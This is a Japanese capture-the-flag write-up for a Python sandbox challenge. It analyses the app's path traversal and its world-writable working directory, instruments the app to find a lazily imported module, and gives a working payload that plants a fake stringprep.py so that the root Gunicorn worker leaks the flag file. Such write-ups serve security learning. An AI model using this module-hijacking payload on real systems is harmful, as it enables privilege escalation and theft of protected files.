基本情報リンクをコピーしました

問題文リンクをコピーしました

🐍 ⁼³₌₃

作業ログリンクをコピーしました

コードをダウンロードして展開

.text
$tree the-sandbox the-sandbox ├── Dockerfile ├── app.py └── compose.yaml 1 directory, 3 files

しんぷるいずざべすと。

Dockerfile
FROM python:3.14.4-slim-trixie RUN apt-get update && apt-get install -y util-linux && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir Flask==3.1.3 gunicorn==25.3.0 WORKDIR /app RUN mkdir runs && chmod 1777 . RUN echo "Alpaca{REDACTED}" > /flag.txt && chmod 0400 /flag.txt && mv /flag.txt /flag-$(md5sum /flag.txt | cut -c-32).txt COPY app.py . CMD ["gunicorn", "--workers", "8", "--bind", "0.0.0.0:3000", "app:app"]

なんか色々設定してある。
フラグは/flag-{ハッシュ値の一部}.txtとして所有者rootだけ読み取り可能でコンテナに移されている。
chmod 1777ってなんだ?777だから誰でも読み書きできるんだろうけども。

(ネット検索)

ほえ〜、スティッキービットなんてものがあるのか。
普通のパーミッションに1000を足すと、削除だけは所有者にしかできないようになる。
/tmpなんかがスティッキービットの代表例らしい。

$ls -ld /tmp
drwxrwxrwt 28 root root 720 May 14 17:57 /tmp/

ls -ldした際末尾に付くtがスティッキービットの表示なんだと。

compose.yaml
services: app: build: . ports: - ${PORT:-3000}:3000 restart: unless-stopped

composeファイルはなんの変哲もなく。

メインディッシュのapp.py見るか。

app.py
import os, subprocess, uuid from flask import Flask, redirect, render_template_string, request app = Flask(__name__) HTML = """<title>Python Sandbox</title> <h1>Python Sandbox🐍</h1> <form method=post> <textarea name=code rows=6 cols=80>{{ code }}</textarea><br> <button>run</button> </form> {% if result %} <h2>Result</h2> <pre>{{ result }}</pre> {% endif %} {% if run_ids %} <h2>Past Results</h2> <form method=get><ul>{% for run_id in run_ids %}<li><button name=id value="{{ run_id }}">{{ run_id }}</button></li>{% endfor %}</ul></form> {% endif %} """ def run(code): if len(code.encode()) > 1024: return None run_id = uuid.uuid4().hex[:8] script = f"runs/{run_id}/main.py" os.mkdir(f"runs/{run_id}") open(script, "w").write(code) try: res = subprocess.run(["runuser", "-u", "nobody", "--", "python", script], capture_output=True, timeout=5) result = (res.stderr if res.returncode else res.stdout).decode() except Exception as e: result = str(e) open(f"runs/{run_id}/result.txt", "w").write(result) return run_id def read_regular_file(path): with os.fdopen(os.open(path, os.O_RDONLY | os.O_NOFOLLOW)) as f: return f.read() @app.route("/", methods=["GET", "POST"]) def index(): code = 'print("Hello, world!")' result = None if request.method == "POST": code = request.form.get("code", code) run_id = run(code) if run_id: return redirect(f"/?id={run_id}") run_id = request.args.get("id") run_dir = f"runs/{run_id}" if run_id else None if run_dir and os.path.isdir(run_dir): code = read_regular_file(f"{run_dir}/main.py") result = read_regular_file(f"{run_dir}/result.txt") run_ids = [name for name in os.listdir("runs") if os.path.isdir(f"runs/{name}")] return render_template_string(HTML, code=code, result=result, run_ids=run_ids) if __name__ == "__main__": app.run(host="0.0.0.0", port=3000)

雑に処理を解説すると、機能としては主に2つで、

  • POSTリクエストの処理
    ペイロード内のcode文字列(1024文字以内)を受け取り、uuidを設定して/app/runs/{uuid}ディレクトリを作成。
    ディレクトリ内にてcodemain.pyとして保存。
    保存したmain.pynobodyユーザーとして実行し、出力をresult.txtに保存。
    下記のGETリクエスト処理に?id={uuid}パラメータを含めてリダイレクト。

  • GETリクエストの処理
    idパラメータを取得し、/app/runs/{id}/内にあるmain.pyresult.txtを取得して表示。
    ついでに他のuuidがあればそのリンクも乗っけておく。

1024文字以内で任意のpythonコードを実行できるサンドボックス的な環境が与えられるからそこで上手いこと悪いことをすればよいらしい。

とりあえずコード内で気になる点をリストアップしていくか。

まずはGETリクエスト処理のrun_idを使ったパストラバーサルだ。

/?id=../みたいにすることで任意のディレクトリ内に配置されているmain.pyresult.txtを覗き見できる。なんかしらの方法でmain.pyもしくはresult.txtにflagの内容を書き込んで、このパストラバーサルを使って閲覧するという流れかな。

次に、read_regular_file関数。

ただファイルを開いて中身を返すだけじゃなくて、読み取り専用モードで開くことと、
対象がsymlinkでないことが条件になっている。
これは多分、スクリプトで
/app/leak/result.txt -> /flag-xxx.txt
のようにsymlinkを貼ってフラグを読むのを防止する目的だろうな。

あー、CopyFail使って最高速度でブチ抜きてぇなぁ

やっぱり実行するコードで/appディレクトリ下に任意のファイルを作成できるのが最大の特徴だよなぁー

💡

スクリプト内でのモジュール読み込みをすり替えればよいのでは!?

Pythonではモジュールを読み込む際 import {モジュール名} のように書く。
このモジュールには大きく分けて、

  • 標準ライブラリ
  • pipで入れた外部ライブラリ
  • カレントディレクトリなどに置かれたローカルファイル

がある。

そして重要なのが、Pythonはモジュールを探すときに sys.path の順番に従って探索するという点。
今回Gunicornは /app を作業ディレクトリとして起動しているため、root権限で動いているWebアプリ側のimport時に /app/{module}.py が候補に入る。

つまり、nobody ユーザーで動く投稿コードから /app に任意の .py ファイルを置けるなら、root権限で動くFlask/Gunicorn workerのimportをすり替えられる可能性がある。

ただし、すでにimport済みのモジュールは sys.modules にキャッシュされるため、あとから同名ファイルを置いても基本的には読み込まれない。
例えば app.py の先頭で読み込まれている以下のモジュールは、そのままでは差し替え対象として微妙。

.python
import os, subprocess, uuid from flask import Flask, redirect, render_template_string, request

なので狙うべきは、ペイロード実行後にroot権限のWebアプリ側でまだimportされていない状態から通常リクエスト処理中にimportされるモジュールだ!

この条件を満たすモジュールを調べるために、調査用の app.py を作った。
builtins.__import__ をhookして、payload実行後に新しく sys.modules に増えたモジュールを記録する。

実サービスと同じくGunicorn workerを8個立て、payload送信後にroot worker側で実際にimportされたモジュールを観測する。

app_instrumented.py
import builtins import json import os import subprocess import sys import threading import time import uuid from flask import Flask, Response, redirect, render_template_string, request app = Flask(__name__) HTML = """<title>Python Sandbox</title> <h1>Python Sandbox🐍</h1> <form method=post> <textarea name=code rows=6 cols=80>{{ code }}</textarea><br> <button>run</button> </form> {% if result %} <h2>Result</h2> <pre>{{ result }}</pre> {% endif %} {% if run_ids %} <h2>Past Results</h2> <form method=get><ul>{% for run_id in run_ids %}<li><button name=id value="{{ run_id }}">{{ run_id }}</button></li>{% endfor %}</ul></form> {% endif %} """ _probe_lock = threading.RLock() _probe_armed = False _probe_seen = set() _probe_events = [] _orig_import = builtins.__import__ # Gunicorn は複数 worker プロセスで動くため、メモリ上の変数だけでは # 別 worker で発生した importを集約できないため、/tmp のファイルを # 簡易的な共有状態として使う。 _probe_arm_file = "/tmp/import-probe-armed" _probe_log_file = "/tmp/import-probe.jsonl" def _module_origin(name): # 記録したモジュールが標準ライブラリ由来なのか、/app 由来なのかを # 後から見分けるため、import元のパスも保存する。 mod = sys.modules.get(name) spec = getattr(mod, "__spec__", None) if spec is not None: origin = getattr(spec, "origin", None) if origin: return origin return getattr(mod, "__file__", None) def _record_new_imports(trigger): # 監視開始時点の sys.modules と現在の sys.modules を比較し、 # 新しく増えたモジュールだけをログに残す。 global _probe_seen if not _probe_armed: return now = time.time() current = set(sys.modules) new_names = sorted(current - _probe_seen) if not new_names: return _probe_seen = current for name in new_names: top = name.split(".", 1)[0] event = { "pid": os.getpid(), "name": name, "top": top, "trigger": trigger, "origin": _module_origin(name), "t": now, } _probe_events.append(event) # 別 worker の結果も後で読めるように JSON Lines 形式で追記する。 with open(_probe_log_file, "a") as f: f.write(json.dumps(event, sort_keys=True) + "\n") def _ensure_probe_armed(): # payload を実行した worker 以外にも監視開始を伝えるための処理。 # /tmp/import-probe-armed が存在していれば、その worker でも監視を開始する。 global _probe_armed, _probe_seen if _probe_armed or not os.path.exists(_probe_arm_file): return _probe_seen = set(sys.modules) _probe_armed = True def _import_probe(name, globals=None, locals=None, fromlist=(), level=0): # Python の import 関数を薄くラップし、import完了後に sys.modules の差分を取る。 # 実際のimport処理そのものは元の builtins.__import__ に委譲する。 module = _orig_import(name, globals, locals, fromlist, level) with _probe_lock: _ensure_probe_armed() _record_new_imports(name) return module builtins.__import__ = _import_probe def arm_import_probe(): # sandbox payload の実行が終わった直後に呼ばれる。 # ここから先にroot worker側でimportされたモジュールだけを調査対象にする。 global _probe_armed, _probe_seen, _probe_events with _probe_lock: open(_probe_arm_file, "w").write(str(time.time())) open(_probe_log_file, "w").close() _probe_seen = set(sys.modules) _probe_events = [] _probe_armed = True def snapshot_import_probe(disarm=False): # 収集したimportログをJSONとして返す。 # disarm=True の場合は、調査を終了して共有フラグも削除する。 global _probe_armed with _probe_lock: _ensure_probe_armed() _record_new_imports("snapshot") if disarm: _probe_armed = False try: os.unlink(_probe_arm_file) except FileNotFoundError: pass events = [] try: with open(_probe_log_file) as f: for line in f: events.append(json.loads(line)) except FileNotFoundError: pass top_level = {} for event in events: top_level.setdefault(event["top"], []).append(event["name"]) return { "armed": _probe_armed, "event_count": len(events), "top_level": sorted(top_level), "modules": events, } def run(code): if len(code.encode()) > 1024: return None run_id = uuid.uuid4().hex[:8] script = f"runs/{run_id}/main.py" os.mkdir(f"runs/{run_id}") open(script, "w").write(code) try: res = subprocess.run(["runuser", "-u", "nobody", "--", "python", script], capture_output=True, timeout=5) result = (res.stderr if res.returncode else res.stdout).decode() except Exception as e: result = str(e) # ユーザーpayloadが /app にファイルを書けるタイミングはここまで。 # 以後のWebリクエスト処理でroot workerが新しくimportしたモジュールを記録する。 arm_import_probe() open(f"runs/{run_id}/result.txt", "w").write(result) return run_id def read_regular_file(path): with os.fdopen(os.open(path, os.O_RDONLY | os.O_NOFOLLOW)) as f: return f.read() @app.route("/_probe/imports") def probe_imports(): # 調査結果を取得するための追加エンドポイント。 body = json.dumps(snapshot_import_probe(disarm=True), indent=2, sort_keys=True) return Response(body + "\n", mimetype="application/json") @app.before_request def probe_before_request(): # 各workerがリクエストを処理するたびに、共有フラグを見て監視を開始する。 with _probe_lock: _ensure_probe_armed() @app.after_request def probe_after_request(response): # import hookを経由しなかった差分も拾えるように、 # レスポンス返却直前にも sys.modules の差分を確認する。 with _probe_lock: _ensure_probe_armed() _record_new_imports("after_request") return response @app.route("/", methods=["GET", "POST"]) def index(): code = 'print("Hello, world!")' result = None if request.method == "POST": code = request.form.get("code", code) run_id = run(code) if run_id: return redirect(f"/?id={run_id}") run_id = request.args.get("id") run_dir = f"runs/{run_id}" if run_id else None if run_dir and os.path.isdir(run_dir): code = read_regular_file(f"{run_dir}/main.py") result = read_regular_file(f"{run_dir}/result.txt") run_ids = [name for name in os.listdir("runs") if os.path.isdir(f"runs/{name}")] return render_template_string(HTML, code=code, result=result, run_ids=run_ids) if __name__ == "__main__": app.run(host="0.0.0.0", port=3000)

生成AIの力を借りてコード作成したのでだいぶ複雑になってしまった。

この新しいapp_instrumented.pyでDockerコンテナをビルドして起動し、

.bash
# ペイロードの送信 curl -sS -X POST http://127.0.0.1:3000 -d "code=print('payload completed')" # 通常のGETリクエスト for i in $(seq 1 16); do curl -sS http://127.0.0.1:3000/ >/dev/null done # 結果の取得 curl -sS http://127.0.0.1:3000/_probe/imports

の順で進めると、以下の結果が返ってくる。

.json
{ "armed": false, "event_count": 1, "modules": [ { "name": "stringprep", "origin": "/usr/local/lib/python3.14/stringprep.py", "pid": 11, "t": 1778756634.5256088, "top": "stringprep", "trigger": "_io" } ], "top_level": [ "stringprep" ] }

payload実行後にroot worker側で新しくimportされたモジュールとしてstringprepが確認できた。
このことから、/app/stringprep.pyを作れば、root権限のGunicorn workerに遅延ロードで処理を読み込ませて実行させることができる!

早速ペイロードを作る。

payload
open('/app/stringprep.py','w').write("""import os,glob os.makedirs('/app/leak',exist_ok=True) open('/app/leak/main.py','w').write('kirehash was here :)') open('/app/leak/result.txt','w').write(open(glob.glob('/flag-*')[0]).read()) """) print('ok')

こうすることで/app/leak下にflag-XXX.txtの内容が記されたresult.txtが生成され、
?id=../leakをパラメータに入れてGETすることでフラグを奪取することができる。

最終的な解法リンクをコピーしました

チャレンジサーバーをスポーンしたらブラウザで開き、以下を入力してrunを押す。

payload
open('/app/stringprep.py','w').write("""import os,glob os.makedirs('/app/leak',exist_ok=True) open('/app/leak/main.py','w').write('kirehash was here :)') open('/app/leak/result.txt','w').write(open(glob.glob('/flag-*')[0]).read()) """) print('ok')

その後、urlに?id=../leakを入れてアクセスしてフラグを得る。

おまけリンクをコピーしました

他の方のWriteupを見てみると、ほとんどの方がuuid.pyを生成してからGunicornを意図的にクラッシュさせ、再起動した際に不正なスクリプトをロードする方式を取っていた。
そっちのほうがやりやすかったかもしれない。

uuid.py上書き方式だとGunicornをクラッシュさせるために30秒くらい待機時間が必要な一方、他ユーザーの影響を受けづらいという特徴がある。
逆に、自分の方式は待機時間が不要でフラグを即時奪取できるメリットがある反面、他ユーザーとの共有インスタンスだと使えない(すでに他ユーザーが通信を行っていた場合stringprepのロードが完了してしまうため)という弱点がある。